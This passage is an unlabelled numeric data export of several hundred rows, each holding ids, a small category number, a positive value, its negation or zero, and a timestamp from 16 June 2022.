12:00:35.163743+00 +25608,2,9247,8.900043755,-8.900043755,2022-06-16 11:49:04.776265+00 +22476,1,8752,0.773549214,0,2022-06-16 11:34:26.020287+00 +22477,1,8768,2.909423024,-2.909423024,2022-06-16 11:34:26.02147+00 +22478,4,8723,9.437683805,-9.437683805,2022-06-16 11:34:27.702916+00 +28992,1,9647,6.340981812,-6.340981812,2022-06-16 12:00:35.164679+00 +27511,4,9395,10.44060984,-10.44060984,2022-06-16 11:54:19.313293+00 +25636,2,9263,8.038027812,-8.038027812,2022-06-16 11:49:05.425844+00 +22501,2,8810,9.059572065,-9.059572065,2022-06-16 11:34:31.235583+00 +27512,4,9355,12.80989067,-12.80989067,2022-06-16 11:54:19.316571+00 +25652,3,9197,9.079507086,-9.079507086,2022-06-16 11:49:07.411868+00 +27521,1,9469,4.724634472,-4.724634472,2022-06-16 11:54:20.080412+00 +27522,1,9445,15.89769517,-15.89769517,2022-06-16 11:54:20.081953+00 +27523,1,9453,4.573784647,-4.573784647,2022-06-16 11:54:20.083252+00 +28993,1,9646,6.308977622,-6.308977622,2022-06-16 12:00:35.165496+00 +23860,6,8944,1.752803336,0,2022-06-16 11:40:35.155768+00 +56371,3,14226,22.50709413,-22.50709413,2022-06-16 14:27:04.170841+00 +32241,4,10090,9.155286849,-9.155286849,2022-06-16 12:17:17.755816+00 +28116,6,9472,5.569163077,-5.569163077,2022-06-16 11:56:20.42415+00 +34518,1,10517,13.68826901,-13.68826901,2022-06-16 12:29:23.329458+00 +24525,1,9016,9.84094983,-9.84094983,2022-06-16 11:43:38.104534+00 +24526,1,8992,7.120862205,-7.120862205,2022-06-16 11:43:38.107759+00 +30269,2,9787,6.266443783,-6.266443783,2022-06-16 12:07:14.466854+00 +34519,1,10464,5.974289583,-5.974289583,2022-06-16 12:29:23.333294+00 +39712,6,11455,5.157492025,-5.157492025,2022-06-16 12:57:17.114436+00 +42633,2,11886,4.24785561,-4.24785561,2022-06-16 13:11:05.24023+00 +56495,4,14249,7.880991789,-7.880991789,2022-06-16 14:27:42.536599+00 +24779,1,9151,5.463896752,-5.463896752,2022-06-16 11:44:59.103667+00 +24780,1,9119,7.66954208,-7.66954208,2022-06-16 11:44:59.107005+00 +24781,1,9135,7.139466719,-7.139466719,2022-06-16 11:44:59.107829+00 +24782,1,9118,7.773294502,-7.773294502,2022-06-16 11:44:59.108617+00 +24783,1,9134,7.125094352,-7.125094352,2022-06-16 11:44:59.109664+00 +24784,1,9150,5.553962153,-5.553962153,2022-06-16 11:44:59.11056+00 +37302,1,11030,14.30725287,-14.30725287,2022-06-16 12:44:32.43635+00 +37303,1,11054,3.936443151,-3.936443151,2022-06-16 12:44:32.439581+00 +24855,2,9067,7.181290968,-7.181290968,2022-06-16 11:45:14.570351+00 +37304,1,11070,3.051146839,-3.051146839,2022-06-16 12:44:32.440425+00 +28525,3,9598,12.60527939,-12.60527939,2022-06-16 11:58:34.001677+00 +56496,4,14257,8.549224516,-8.549224516,2022-06-16 14:27:42.540097+00 +34981,7,10538,8.340756092,-8.340756092,2022-06-16 12:31:43.367755+00 +59902,3,14847,6.796971565,-6.796971565,2022-06-16 14:42:04.778376+00 +28627,2,9598,5.403365283,-5.403365283,2022-06-16 11:59:05.198871+00 +56715,1,14332,11.14772647,-11.14772647,2022-06-16 14:28:32.984251+00 +32922,2,10240,4.445818907,-4.445818907,2022-06-16 12:21:04.757972+00 +42989,6,11917,11.77815067,-11.77815067,2022-06-16 13:12:32.582962+00 +25101,6,9215,9.074460757,-9.074460757,2022-06-16 11:46:25.571435+00 +37590,6,11072,4.49964376,-4.49964376,2022-06-16 12:46:12.908504+00 +25132,1,9147,4.388913273,-4.388913273,2022-06-16 11:46:44.10639+00 +30788,3,9918,12.12412246,-12.12412246,2022-06-16 12:10:06.188813+00 +35129,2,10605,5.332736807,-5.332736807,2022-06-16 12:32:24.441959+00 +25206,2,9183,8.851662711,-8.851662711,2022-06-16 11:47:04.757704+00 +46104,6,12542,4.222676832,-4.222676832,2022-06-16 13:30:21.173347+00 +35168,6,10603,4.648582184,-4.648582184,2022-06-16 12:32:30.738697+00 +35182,1,10686,3.4669358,-3.4669358,2022-06-16 12:32:38.35308+00 +35183,1,10646,14.71125045,-14.71125045,2022-06-16 12:32:38.354386+00 +33166,4,10269,10.06616641,-10.06616641,2022-06-16 12:22:10.615535+00 +30959,6,9983,7.32047372,-7.32047372,2022-06-16 12:10:42.334228+00 +25336,4,9056,6.219523324,-6.219523324,2022-06-16 11:47:42.724627+00 +33167,4,10285,3.740278083,-3.740278083,2022-06-16 12:22:10.618941+00 +33168,4,10253,15.77664082,-15.77664082,2022-06-16 12:22:10.620093+00 +33190,2,10282,6.417316801,-6.417316801,2022-06-16 12:22:12.893051+00 +33210,3,10283,10.89373613,-10.89373613,2022-06-16 12:22:18.955445+00 +27415,3,9470,12.86202953,-12.86202953,2022-06-16 11:54:05.448034+00 +28994,3,9298,20.12787239,-20.12787239,2022-06-16 12:00:41.50354+00 +31078,3,9968,2.644740487,0,2022-06-16 12:11:36.703776+00 +35184,1,10662,15.66807799,-15.66807799,2022-06-16 12:32:38.355187+00 +33232,2,10346,6.395044282,-6.395044282,2022-06-16 12:22:27.685602+00 +35185,1,10670,4.459719578,-4.459719578,2022-06-16 12:32:38.355957+00 +29086,2,9584,1.578733028,0,2022-06-16 12:01:04.46968+00 +33269,1,10325,14.11123625,-14.11123625,2022-06-16 12:22:47.323544+00 +25567,3,9264,2.651194555,0,2022-06-16 11:48:54.087261+00 +33270,1,10304,1.870200833,-1.870200833,2022-06-16 12:22:47.326936+00 +33271,1,10264,9.212007757,-9.212007757,2022-06-16 12:22:47.32782+00 +33272,1,10296,8.315341607,-8.315341607,2022-06-16 12:22:47.328599+00 +33273,1,10288,0.628728741,0,2022-06-16 12:22:47.329356+00 +35186,1,10671,4.865162506,-4.865162506,2022-06-16 12:32:38.356696+00 +56716,1,14323,10.62964738,-10.62964738,2022-06-16 14:28:32.985017+00 +27672,6,9454,11.24149913,-11.24149913,2022-06-16 11:54:31.821389+00 +53071,4,13719,12.67606393,-12.67606393,2022-06-16 14:08:19.315627+00 +35288,2,10603,6.259934154,-6.259934154,2022-06-16 12:33:14.635571+00 +33431,6,10351,8.356369752,-8.356369752,2022-06-16 12:23:40.325651+00 +31393,2,10031,6.558032131,-6.558032131,2022-06-16 12:13:04.902564+00 +29277,4,9646,6.500869348,-6.500869348,2022-06-16 12:02:06.184552+00 +29278,4,9710,6.479700415,-6.479700415,2022-06-16 12:02:06.188652+00 +29279,4,9630,7.872535651,-7.872535651,2022-06-16 12:02:06.190195+00 +29280,4,9662,5.06312954,-5.06312954,2022-06-16 12:02:06.192019+00 +29281,4,9726,5.048125591,-5.048125591,2022-06-16 12:02:06.193196+00 +25778,6,9247,12.22363982,-12.22363982,2022-06-16 11:49:38.490292+00 +53099,4,13528,7.880568526,-7.880568526,2022-06-16 14:08:26.999058+00 +56717,1,14316,11.40607778,-11.40607778,2022-06-16 14:28:32.985776+00 +27843,6,9363,14.627291,-14.627291,2022-06-16 11:55:05.329948+00 +27853,6,9387,5.731937062,-5.731937062,2022-06-16 11:55:05.606481+00 +53260,2,13758,2.306220357,-2.306220357,2022-06-16 14:09:05.740407+00 +27877,2,9389,6.007366446,-6.007366446,2022-06-16 11:55:14.410694+00 +33563,1,10363,3.429677504,-3.429677504,2022-06-16 12:24:20.337079+00 +40490,4,11513,12.70441862,-12.70441862,2022-06-16 13:01:07.541629+00 +37994,2,11117,5.024530503,-5.024530503,2022-06-16 12:48:19.544566+00 +33644,6,10323,13.81790414,-13.81790414,2022-06-16 12:24:46.45882+00 +40491,4,11497,12.6801399,-12.6801399,2022-06-16 13:01:07.544961+00 +29433,6,9648,1.803321299,0,2022-06-16 12:02:39.487432+00 +60157,2,14745,9.051267474,-9.051267474,2022-06-16 14:43:05.251415+00 +33731,2,10363,5.766937911,-5.766937911,2022-06-16 12:25:14.433384+00 +35604,1,10709,13.57620868,-13.57620868,2022-06-16 12:34:53.402161+00 +35605,1,10717,10.58816597,-10.58816597,2022-06-16 12:34:53.405462+00 +31590,6,10093,2.898847515,-2.898847515,2022-06-16 12:14:06.062217+00 +53423,6,13773,10.70983723,-10.70983723,2022-06-16 14:10:30.357188+00 +31605,4,10110,4.518069852,-4.518069852,2022-06-16 12:14:10.762939+00 +31606,4,10094,5.78895769,-5.78895769,2022-06-16 12:14:10.764138+00 +31607,4,10078,7.459571618,-7.459571618,2022-06-16 12:14:10.764955+00 +25907,3,9261,9.008988128,-9.008988128,2022-06-16 11:50:01.640006+00 +31608,4,10032,0.643350333,0,2022-06-16 12:14:10.765881+00 +31609,4,10048,1.948743533,-1.948743533,2022-06-16 12:14:10.767004+00 +31610,4,10045,4.164006959,-4.164006959,2022-06-16 12:14:10.768185+00 +31611,4,10029,4.044312481,-4.044312481,2022-06-16 12:14:10.768928+00 +29593,3,9712,2.630939302,0,2022-06-16 12:03:20.083213+00 +35661,6,10751,6.06261634,-6.06261634,2022-06-16 12:35:06.316529+00 +31629,2,10029,5.637898864,-5.637898864,2022-06-16 12:14:14.412308+00 +46809,4,12585,10.70206145,-10.70206145,2022-06-16 13:34:36.281575+00 +31639,6,10094,9.424823589,-9.424823589,2022-06-16 12:14:14.644642+00 +46863,6,12671,4.097292571,-4.097292571,2022-06-16 13:34:59.292776+00 +40737,2,11565,4.841993943,-4.841993943,2022-06-16 13:02:19.44703+00 +60158,2,14746,11.10420721,-11.10420721,2022-06-16 14:43:05.25219+00 +38330,6,11245,2.014102924,-2.014102924,2022-06-16 12:50:21.728005+00 +60159,2,14769,9.675029485,-9.675029485,2022-06-16 14:43:05.252966+00 +57246,1,14430,4.886867014,-4.886867014,2022-06-16 14:30:36.009238+00 +31713,6,10061,13.11120479,-13.11120479,2022-06-16 12:14:40.027482+00 +33990,1,10394,15.95958383,-15.95958383,2022-06-16 12:26:47.331682+00 +33991,1,10426,15.88774407,-15.88774407,2022-06-16 12:26:47.334919+00 +33992,1,10410,7.930488519,-7.930488519,2022-06-16 12:26:47.335738+00 +33993,1,10402,15.75234792,-15.75234792,2022-06-16 12:26:47.336462+00 +57247,1,14384,0.455967856,0,2022-06-16 14:30:36.0126+00 +29679,3,9790,12.32111257,-12.32111257,2022-06-16 12:04:05.949806+00 +31757,2,10026,6.771249578,-6.771249578,2022-06-16 12:15:01.776665+00 +32171,2,10159,6.421275323,-6.421275323,2022-06-16 12:17:05.10226+00 +30141,6,9805,13.47009537,-13.47009537,2022-06-16 12:06:16.885786+00 +39637,2,11454,3.617310469,-3.617310469,2022-06-16 12:57:05.299622+00 +34521,4,10474,8.54106373,-8.54106373,2022-06-16 12:29:24.744241+00 +23865,6,8960,5.883716201,-5.883716201,2022-06-16 11:40:35.370316+00 +23866,1,8997,16.24567072,-16.24567072,2022-06-16 11:40:38.074085+00 +24527,1,8984,10.71754199,-10.71754199,2022-06-16 11:43:50.074686+00 +28233,2,9519,7.498106899,-7.498106899,2022-06-16 11:57:05.2023+00 +28285,2,9467,6.624850854,-6.624850854,2022-06-16 11:57:14.562784+00 +23871,6,8973,14.37035311,-14.37035311,2022-06-16 11:40:39.664993+00 +28314,3,9386,10.35455731,-10.35455731,2022-06-16 11:57:26.475405+00 +60055,6,14784,2.546285004,-2.546285004,2022-06-16 14:42:38.835019+00 +45848,6,12395,3.222030748,-3.222030748,2022-06-16 13:28:30.242007+00 +52676,6,13678,4.088001727,-4.088001727,2022-06-16 14:06:12.098248+00 +23876,6,8981,11.98963331,-11.98963331,2022-06-16 11:40:45.967087+00 +52696,4,13610,4.778251593,-4.778251593,2022-06-16 14:06:16.737315+00 +34905,1,10520,8.91999956,-8.91999956,2022-06-16 12:31:14.374412+00 +42991,1,11892,14.13235711,-14.13235711,2022-06-16 13:12:35.572967+00 +42992,1,11884,14.10006189,-14.10006189,2022-06-16 13:12:35.576746+00 +42993,1,11900,14.07277353,-14.07277353,2022-06-16 13:12:35.577698+00 +23882,1,8960,2.741487931,-2.741487931,2022-06-16 11:40:50.104126+00 +23883,1,8944,0.758139151,0,2022-06-16 11:40:50.107433+00 +37591,4,11127,11.67544099,-11.67544099,2022-06-16 12:46:13.784701+00 +42994,1,11868,14.04257467,-14.04257467,2022-06-16 13:12:35.578515+00 +52719,4,13619,8.608143412,-8.608143412,2022-06-16 14:06:22.688286+00 +28715,6,9567,11.80339049,-11.80339049,2022-06-16 11:59:22.498881+00 +32924,3,10043,10.09796857,-10.09796857,2022-06-16 12:21:04.780194+00 +23889,6,8874,12.20174646,-12.20174646,2022-06-16 11:40:54.455155+00 +32925,3,10107,10.02936485,-10.02936485,2022-06-16 12:21:04.783575+00 +25157,6,9173,11.79716451,-11.79716451,2022-06-16 11:46:48.302739+00 +27154,6,9405,3.579817899,-3.579817899,2022-06-16 11:52:48.864263+00 +27179,6,9391,10.87266267,-10.87266267,2022-06-16 11:52:54.78206+00 +25229,2,9214,5.971568595,-5.971568595,2022-06-16 11:47:05.287072+00 +32926,3,10171,9.961340398,-9.961340398,2022-06-16 12:21:04.784423+00 +30819,3,9902,14.42334854,-14.42334854,2022-06-16 12:10:08.078974+00 +30820,3,9966,14.33330325,-14.33330325,2022-06-16 12:10:08.0824+00 +32927,3,10235,9.893889454,-9.893889454,2022-06-16 12:21:04.785168+00 +37716,2,11056,1.683174816,0,2022-06-16 12:47:04.619047+00 +32972,4,10016,6.222532531,-6.222532531,2022-06-16 12:21:09.361171+00 +30912,6,9875,14.2282013,-14.2282013,2022-06-16 12:10:35.16964+00 +32988,4,10218,8.96841636,-8.96841636,2022-06-16 12:21:17.130438+00 +30964,4,9621,13.81541753,-13.81541753,2022-06-16 12:10:50.632717+00 +30977,1,9880,9.715858162,-9.715858162,2022-06-16 12:10:53.188276+00 +30978,1,9888,6.40049229,-6.40049229,2022-06-16 12:10:53.189738+00 +28995,1,9592,9.120375105,-9.120375105,2022-06-16 12:00:44.162062+00 +25445,3,9263,15.79126768,-15.79126768,2022-06-16 11:48:06.08278+00 +27436,6,9408,5.616859399,-5.616859399,2022-06-16 11:54:06.016601+00 +23909,2,8944,1.552709731,0,2022-06-16 11:41:04.445863+00 +32989,4,10080,6.206190624,-6.206190624,2022-06-16 12:21:17.131849+00 +30991,4,9720,8.578373542,-8.578373542,2022-06-16 12:11:00.995279+00 +40247,3,11566,11.33204615,-11.33204615,2022-06-16 13:00:07.890155+00 +52721,4,13595,4.110192712,-4.110192712,2022-06-16 14:06:22.689556+00 +23914,2,8960,5.26847699,-5.26847699,2022-06-16 11:41:04.565056+00 +25552,6,9200,1.772674398,0,2022-06-16 11:48:44.351508+00 +52722,4,13611,0.906517684,-0.906517684,2022-06-16 14:06:22.690656+00 +52723,4,13627,0.833465297,-0.833465297,2022-06-16 14:06:22.691556+00 +25595,2,9200,1.56611364,0,2022-06-16 11:49:04.467434+00 +52724,4,13579,13.72377503,-13.72377503,2022-06-16 14:06:22.692346+00 +23920,2,8990,8.645212846,-8.645212846,2022-06-16 11:41:04.716727+00 +25611,2,9262,7.553534886,-7.553534886,2022-06-16 11:49:04.839731+00 +33169,1,10333,10.90286238,-10.90286238,2022-06-16 12:22:11.317622+00 +27604,4,9363,8.65245047,-8.65245047,2022-06-16 11:54:27.44636+00 +33170,1,10365,4.272335781,-4.272335781,2022-06-16 12:22:11.320915+00 +33171,1,10282,8.40869259,-8.40869259,2022-06-16 12:22:11.321713+00 +33172,1,10266,16.26757569,-16.26757569,2022-06-16 12:22:11.322532+00 +31181,4,9966,5.965348344,-5.965348344,2022-06-16 12:12:06.03093+00 +31182,4,10030,5.946732431,-5.946732431,2022-06-16 12:12:06.038987+00 +25704,1,9170,21.95799629,-21.95799629,2022-06-16 11:49:14.106111+00 +25705,1,9208,9.56089135,-9.56089135,2022-06-16 11:49:14.109495+00 +23931,2,8991,9.010880004,-9.010880004,2022-06-16 11:41:05.015254+00 +23932,2,9006,8.256342999,-8.256342999,2022-06-16 11:41:05.019805+00 +31183,4,9982,4.628586307,-4.628586307,2022-06-16 12:12:06.040177+00 +31184,4,10046,4.615450159,-4.615450159,2022-06-16 12:12:06.041292+00 +31185,4,9950,7.595459928,-7.595459928,2022-06-16 12:12:06.042512+00 +31186,4,10014,7.569594231,-7.569594231,2022-06-16 12:12:06.044282+00 +33173,1,10298,16.17442043,-16.17442043,2022-06-16 12:22:11.3236+00 +23938,2,9007,8.636209032,-8.636209032,2022-06-16 11:41:05.171982+00 +29353,2,9645,5.894142025,-5.894142025,2022-06-16 12:02:24.445845+00 +23940,2,9022,6.480327899,-6.480327899,2022-06-16 11:41:05.203513+00 +33174,1,10349,4.142409018,-4.142409018,2022-06-16 12:22:11.324544+00 +27802,2,9408,5.012181183,-5.012181183,2022-06-16 11:55:04.587798+00 +29365,6,9710,10.4462611,-10.4462611,2022-06-16 12:02:25.247288+00 +33175,1,10274,16.03465436,-16.03465436,2022-06-16 12:22:11.32546+00 +31319,1,9984,2.017010377,-2.017010377,2022-06-16 12:12:44.26596+00 +29408,6,9711,9.978330847,-9.978330847,2022-06-16 12:02:37.079515+00 +31320,1,9944,9.651022865,-9.651022865,2022-06-16 12:12:44.269408+00 +23949,2,9023,6.64366371,-6.64366371,2022-06-16 11:41:05.435008+00 +23950,7,8938,11.18838317,-11.18838317,2022-06-16 11:41:08.486846+00 +29419,6,9727,7.856901391,-7.856901391,2022-06-16 12:02:37.454439+00 +31321,1,9976,8.676236905,-8.676236905,2022-06-16 12:12:44.270288+00 +29435,6,9709,3.169638061,-3.169638061,2022-06-16 12:02:39.559002+00 +38000,1,11112,16.0353279,-16.0353279,2022-06-16 12:48:23.436872+00 +23955,2,8939,7.250728269,-7.250728269,2022-06-16 11:41:14.445185+00 +33274,6,10218,9.295620722,-9.295620722,2022-06-16 12:22:50.275518+00 +38017,4,11091,7.287865053,-7.287865053,2022-06-16 12:48:28.339485+00 +31376,2,9968,1.587107102,0,2022-06-16 12:13:04.510171+00 +27953,1,9368,10.2170997,-10.2170997,2022-06-16 11:55:38.121287+00 +23960,2,8955,7.084265979,-7.084265979,2022-06-16 11:41:14.559959+00 +27954,1,9376,6.67261416,-6.67261416,2022-06-16 11:55:38.124498+00 +27955,1,9400,9.302377777,-9.302377777,2022-06-16 11:55:38.125297+00 +33340,6,10334,11.37274538,-11.37274538,2022-06-16 12:23:14.70784+00 +49691,6,13133,11.01587,-11.01587,2022-06-16 13:50:33.288039+00 +38098,6,11166,10.94220595,-10.94220595,2022-06-16 12:49:12.297127+00 +23966,1,9023,5.634554322,-5.634554322,2022-06-16 11:41:20.103159+00 +23967,1,9022,5.798145659,-5.798145659,2022-06-16 11:41:20.106504+00 +49710,3,12845,4.608543529,-4.608543529,2022-06-16 13:50:38.298766+00 +31457,2,9962,6.928140026,-6.928140026,2022-06-16 12:13:20.362609+00 +35566,2,10685,5.425006933,-5.425006933,2022-06-16 12:34:29.455698+00 +35606,1,10675,14.09935194,-14.09935194,2022-06-16 12:34:56.413079+00 +35607,1,10659,21.3591004,-21.3591004,2022-06-16 12:34:56.416354+00 +35608,1,10651,7.004152679,-7.004152679,2022-06-16 12:34:56.417207+00 +35609,1,10688,1.655683783,-1.655683783,2022-06-16 12:34:56.418099+00 +29594,1,9662,4.807884767,-4.807884767,2022-06-16 12:03:20.210572+00 +29595,1,9727,4.709006576,-4.709006576,2022-06-16 12:03:20.213823+00 +29596,1,9663,4.695778903,-4.695778903,2022-06-16 12:03:20.214696+00 +29597,1,9726,4.794239229,-4.794239229,2022-06-16 12:03:20.215557+00 +35610,1,10672,0.606450191,0,2022-06-16 12:34:56.418898+00 +56718,1,14357,10.1497854,-10.1497854,2022-06-16 14:28:35.978119+00 +28051,6,9535,8.330701508,-8.330701508,2022-06-16 11:56:09.423604+00 +28087,3,9450,10.50548181,-10.50548181,2022-06-16 11:56:15.252884+00 +30142,1,9792,2.172347114,-2.172347114,2022-06-16 12:06:17.213684+00 +30143,1,9776,0.681533404,0,2022-06-16 12:06:17.217186+00 +30144,1,9760,6.59374197,-6.59374197,2022-06-16 12:06:17.218012+00 +28235,2,9534,5.50349955,-5.50349955,2022-06-16 11:57:05.236897+00 +30145,1,9752,9.90711003,-9.90711003,2022-06-16 12:06:17.218816+00 +28290,3,9472,7.656301385,-7.656301385,2022-06-16 11:57:18.631246+00 +28291,3,9536,7.613260119,-7.613260119,2022-06-16 11:57:18.632045+00 +30146,1,9853,4.567724896,-4.567724896,2022-06-16 12:06:17.219682+00 +24824,2,9135,8.300104751,-8.300104751,2022-06-16 11:45:05.016551+00 +23993,3,9024,8.222112047,-8.222112047,2022-06-16 11:41:31.324009+00 +30147,1,9837,4.424533366,-4.424533366,2022-06-16 12:06:17.220411+00 +48957,6,12976,2.027870379,0,2022-06-16 13:46:28.569405+00 +39783,3,11387,7.784282265,-7.784282265,2022-06-16 12:57:47.041886+00 +34654,3,10542,13.3545094,-13.3545094,2022-06-16 12:30:05.760149+00 +34655,3,10606,13.268536,-13.268536,2022-06-16 12:30:05.763945+00 +23999,6,8990,12.73314618,-12.73314618,2022-06-16 11:41:32.68029+00 +26986,4,9339,2.814678211,-2.814678211,2022-06-16 11:52:22.460983+00 +26987,4,9331,10.46909995,-10.46909995,2022-06-16 11:52:22.464279+00 +32496,6,10207,11.09395089,-11.09395089,2022-06-16 12:18:47.383345+00 +28564,6,9491,14.56705049,-14.56705049,2022-06-16 11:58:57.371161+00 +34656,3,10607,13.42190395,-13.42190395,2022-06-16 12:30:05.764917+00 +24005,6,8991,12.4789166,-12.4789166,2022-06-16 11:41:32.833046+00 +64060,6,15184,25.45097396,-25.45097396,2022-06-16 14:57:15.207461+00 +32609,1,10168,8.446284221,-8.446284221,2022-06-16 12:19:08.268005+00 +32610,1,10080,6.230864995,-6.230864995,2022-06-16 12:19:08.271219+00 +27155,1,9322,12.17702356,-12.17702356,2022-06-16 11:52:53.139428+00 +30597,2,9840,1.580502642,0,2022-06-16 12:09:04.475711+00 +24011,6,9006,12.23896888,-12.23896888,2022-06-16 11:41:33.24638+00 +27192,1,9305,9.175739878,-9.175739878,2022-06-16 11:52:59.104164+00 +27193,1,9337,9.06058359,-9.06058359,2022-06-16 11:52:59.105502+00 +27194,1,9329,9.219628879,-9.219628879,2022-06-16 11:52:59.106277+00 +25303,1,9144,9.607740592,-9.607740592,2022-06-16 11:47:23.111597+00 +25304,1,9120,6.950936891,-6.950936891,2022-06-16 11:47:23.114847+00 +27195,1,9321,9.033961306,-9.033961306,2022-06-16 11:52:59.107135+00 +27210,2,9328,1.569053221,0,2022-06-16 11:53:04.453138+00 +24019,6,9007,12.02073595,-12.02073595,2022-06-16 11:41:33.395417+00 +32611,1,10136,9.33732408,-9.33732408,2022-06-16 12:19:08.272544+00 +52678,6,13694,3.189753342,-3.189753342,2022-06-16 14:06:12.22183+00 +27237,1,9330,17.39689646,-17.39689646,2022-06-16 11:53:05.11792+00 +27238,1,9338,18.36694297,-18.36694297,2022-06-16 11:53:05.119264+00 +24024,6,9022,9.917362065,-9.917362065,2022-06-16 11:41:33.553907+00 +27239,1,9306,18.30261732,-18.30261732,2022-06-16 11:53:05.119986+00 +37379,2,10992,1.678264692,0,2022-06-16 12:45:04.578752+00 +60160,2,14770,10.6282258,-10.6282258,2022-06-16 14:43:05.253707+00 +42998,6,11925,8.073222083,-8.073222083,2022-06-16 13:12:37.564588+00 +30742,4,9568,6.347658388,-6.347658388,2022-06-16 12:09:59.31188+00 +40052,2,11440,1.69395913,0,2022-06-16 12:59:04.753964+00 +25524,6,9245,8.293404498,-8.293404498,2022-06-16 11:48:28.82643+00 +49322,2,13037,3.564439506,-3.564439506,2022-06-16 13:48:24.405797+00 +24033,6,9023,9.523385046,-9.523385046,2022-06-16 11:41:33.779133+00 +32928,2,10270,7.950382158,-7.950382158,2022-06-16 12:21:04.790837+00 +56719,1,14298,9.835150858,-9.835150858,2022-06-16 14:28:35.981764+00 +27437,4,9408,2.201669043,-2.201669043,2022-06-16 11:54:06.8265+00 +27438,4,9392,0.643822258,0,2022-06-16 11:54:06.832078+00 +30856,2,9901,5.728386064,-5.728386064,2022-06-16 12:10:14.4242+00 +24039,1,8952,9.924064342,-9.924064342,2022-06-16 11:41:44.102233+00 +24040,1,8928,7.188167246,-7.188167246,2022-06-16 11:41:44.105488+00 +25640,3,9149,9.368293832,-9.368293832,2022-06-16 11:49:05.679488+00 +49481,6,13011,12.82878201,-12.82878201,2022-06-16 13:49:16.10382+00 +28966,6,9600,5.392411814,-5.392411814,2022-06-16 12:00:21.429672+00 +28996,1,9661,4.608979431,-4.608979431,2022-06-16 12:00:47.159749+00 +28997,1,9568,6.662370176,-6.662370176,2022-06-16 12:00:47.163204+00 +28998,1,9645,4.476588553,-4.476588553,2022-06-16 12:00:47.164055+00 +28999,1,9560,10.04028759,-10.04028759,2022-06-16 12:00:47.164882+00 +29000,1,9584,0.690012648,0,2022-06-16 12:00:47.165737+00 +29001,1,9629,10.35374644,-10.35374644,2022-06-16 12:00:47.166515+00 +25741,1,9176,10.4600466,-10.4600466,2022-06-16 11:49:20.078375+00 +25742,1,9184,6.875342663,-6.875342663,2022-06-16 11:49:20.081928+00 +29002,1,9600,2.217924674,-2.217924674,2022-06-16 12:00:47.167426+00 +56720,1,14321,4.641820224,-4.641820224,2022-06-16 14:28:35.982645+00 +27656,6,9438,12.59731494,-12.59731494,2022-06-16 11:54:31.310726+00 +37766,2,11051,5.804240624,-5.804240624,2022-06-16 12:47:14.472075+00 +56721,1,14297,4.266385733,-4.266385733,2022-06-16 14:28:35.983435+00 +37808,6,11051,4.229675021,-4.229675021,2022-06-16 12:47:33.3783+00 +25803,6,9279,8.914773736,-8.914773736,2022-06-16 11:49:39.476098+00 +35255,2,10671,5.599832988,-5.599832988,2022-06-16 12:33:05.121644+00 +53072,1,13725,8.906635504,-8.906635504,2022-06-16 14:08:20.845695+00 +33217,3,10299,9.756563084,-9.756563084,2022-06-16 12:22:19.48595+00 +27758,7,9258,10.56715448,-10.56715448,2022-06-16 11:54:41.407861+00 +29147,2,9595,6.444024497,-6.444024497,2022-06-16 12:01:14.421528+00 +37892,6,11198,5.646673428,-5.646673428,2022-06-16 12:48:03.963618+00 +33275,4,10200,9.263648841,-9.263648841,2022-06-16 12:22:50.408286+00 +31100,3,9984,7.247063681,-7.247063681,2022-06-16 12:11:47.737738+00 +27832,2,9455,7.599214004,-7.599214004,2022-06-16 11:55:05.207499+00 +27833,2,9470,5.566262163,-5.566262163,2022-06-16 11:55:05.211484+00 +40378,6,11520,4.185261986,-4.185261986,2022-06-16 13:00:29.810265+00 +40386,1,11515,2.280355467,-2.280355467,2022-06-16 13:00:38.514545+00 +40387,1,11491,20.92269426,-20.92269426,2022-06-16 13:00:38.515937+00 +40388,1,11507,13.22812099,-13.22812099,2022-06-16 13:00:38.516818+00 +31187,3,10030,14.21745042,-14.21745042,2022-06-16 12:12:06.052335+00 +40389,1,11499,2.615079066,-2.615079066,2022-06-16 13:00:38.517623+00 +31217,6,9968,1.819477414,0,2022-06-16 12:12:17.675026+00 +40390,1,11483,6.626754055,-6.626754055,2022-06-16 13:00:38.518422+00 +53073,1,13757,3.188926474,-3.188926474,2022-06-16 14:08:20.849019+00 +31261,6,10047,7.190439263,-7.190439263,2022-06-16 12:12:19.378864+00 +25909,3,9277,9.20927439,-9.20927439,2022-06-16 11:50:01.864024+00 +29385,6,9685,11.10579196,-11.10579196,2022-06-16 12:02:32.432147+00 +24081,1,8920,10.80909674,-10.80909674,2022-06-16 11:41:53.100546+00 +24082,4,8888,8.770553583,-8.770553583,2022-06-16 11:41:57.088384+00 +40444,2,11504,1.70643763,0,2022-06-16 13:01:04.739682+00 +35570,4,10734,4.926231658,-4.926231658,2022-06-16 12:34:35.019684+00 +49826,2,13099,4.295498894,-4.295498894,2022-06-16 13:51:14.457269+00 +31340,1,9896,16.9413035,-16.9413035,2022-06-16 12:12:50.262802+00 +33646,6,10347,4.894868428,-4.894868428,2022-06-16 12:24:46.702542+00 +49827,2,12859,4.073759713,-4.073759713,2022-06-16 13:51:14.460849+00 +38334,1,11170,14.24541998,-14.24541998,2022-06-16 12:50:23.414505+00 +33732,4,10346,8.785893182,-8.785893182,2022-06-16 12:25:15.834968+00 +38335,1,11176,15.97758892,-15.97758892,2022-06-16 12:50:23.415316+00 +33773,1,10336,6.073161303,-6.073161303,2022-06-16 12:25:23.296847+00 +24093,3,9006,16.27288747,-16.27288747,2022-06-16 11:42:00.001104+00 +29514,2,9726,5.248525834,-5.248525834,2022-06-16 12:03:05.177764+00 +38336,1,11229,10.33848301,-10.33848301,2022-06-16 12:50:23.416079+00 +38337,1,11178,6.031918359,-6.031918359,2022-06-16 12:50:23.416865+00 +49828,2,12923,4.052841458,-4.052841458,2022-06-16 13:51:14.462029+00 +49829,2,12987,4.032012342,-4.032012342,2022-06-16 13:51:14.462872+00 +24099,3,9007,16.30653257,-16.30653257,2022-06-16 11:42:00.153675+00 +46918,2,12671,2.827227145,-2.827227145,2022-06-16 13:35:05.769321+00 +24101,3,9022,13.66179836,-13.66179836,2022-06-16 11:42:00.198664+00 +26364,6,9275,5.678219385,-5.678219385,2022-06-16 11:51:01.893431+00 +34461,2,10542,5.645334253,-5.645334253,2022-06-16 12:29:05.402761+00 +28056,4,9503,7.891334955,-7.891334955,2022-06-16 11:56:11.154108+00 +30148,7,9770,9.723638517,-9.723638517,2022-06-16 12:06:18.497215+00 +37010,2,10928,1.66595573,0,2022-06-16 12:43:04.61584+00 +28179,1,9451,4.314477898,-4.314477898,2022-06-16 11:56:50.097959+00 +24604,2,9078,12.02752569,-12.02752569,2022-06-16 11:44:09.324057+00 +24605,2,8822,11.97914408,-11.97914408,2022-06-16 11:44:09.328661+00 